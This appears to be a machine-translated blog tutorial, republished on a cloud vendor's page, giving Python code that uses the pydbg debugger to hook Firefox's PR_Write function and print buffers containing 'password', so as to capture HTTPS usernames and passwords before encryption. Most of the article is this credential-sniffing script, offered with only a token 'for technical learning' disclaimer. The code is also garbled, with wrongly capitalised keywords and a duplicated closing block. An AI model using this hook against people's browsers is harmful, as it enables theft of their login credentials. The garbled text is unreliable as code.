Python uses hook Technology to crack https instance code

Source: Internet
Author: User

Compared with http, http is characterized by its security. The communication content of http can be captured by a common sniffer, but the content of https is the encrypted content, the value of our use is not very high, so some big websites-websites involving "rice" Use http protocol, there is still a way to see his username and password. Hey hey, this article is only used for technical learning. I just want to communicate with you about technology and do not want to do anything illegal, in this example, we log on to the https website in the firefox browser. when we open the program in advance, we will capture the user name and password:

The source code is as follows:

Copy codeThe Code is as follows :#! /Ur/bin/env python
From pydbg import *
From pydbg. defines import *

Import utils
Import sys

Dbg = pydbg ()
Found_firefox = False

Pattern = "password"

Def ssl_sniff (dbg, args ):
Buffer = ""
Offset = 0

While 1:
Byte = dbg. read_process_memory (args [1] + offset, 1)
If byte! = "X00 ":
Buffer + = byte
Offset + = 1
Continue
Else:
Break
If pattern in buffer:
Print "Pre-Encrypted: % s" % buffer
Return DBG_CONTINUE
# Search for the firefox.exe Process
For (pid, name) in dbg. enumerate_processes ():
If name. lower () = "firefox.exe ":
Found_firefox = True
Hooks = utils. hook_container ()
Dbg. attach (pid)
Print "[*] Attaching to firefox.exe with PID: % d" % pid
# Obtain the address of the firefox hook.
Hook_address = dbg. func_resolve_debuggee ("nspr4.dll", "PR_Write ")
If hook_address:
# Add the hook content, including its pid, address, and sniffing type

Hooks. add (dbg, hook_address, 2, ssl_sniff, None)
Print "[*] nspr4.PR _ Write hooked at: 0x % 08x" % hook_address
Break
Else:
Print "[*] Error: Couldn't resolve hook address ."
Sys. exit (-1)
If found_firefox:
Print "[*] Hooks set, continuing process ."
Dbg. run ()
Else:
Print "[*] Error: Couldn't find the firefox.exe process ."
Sys. exit (-1)

If found_firefox:
Print "[*] Hooks set, continuing process ."
Dbg. run ()
Else:
Print "[*] Error: Couldn't find the firefox.exe process ."
Sys. exit (-1)

From: http://world77.blog.51cto.com/414605/518679

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.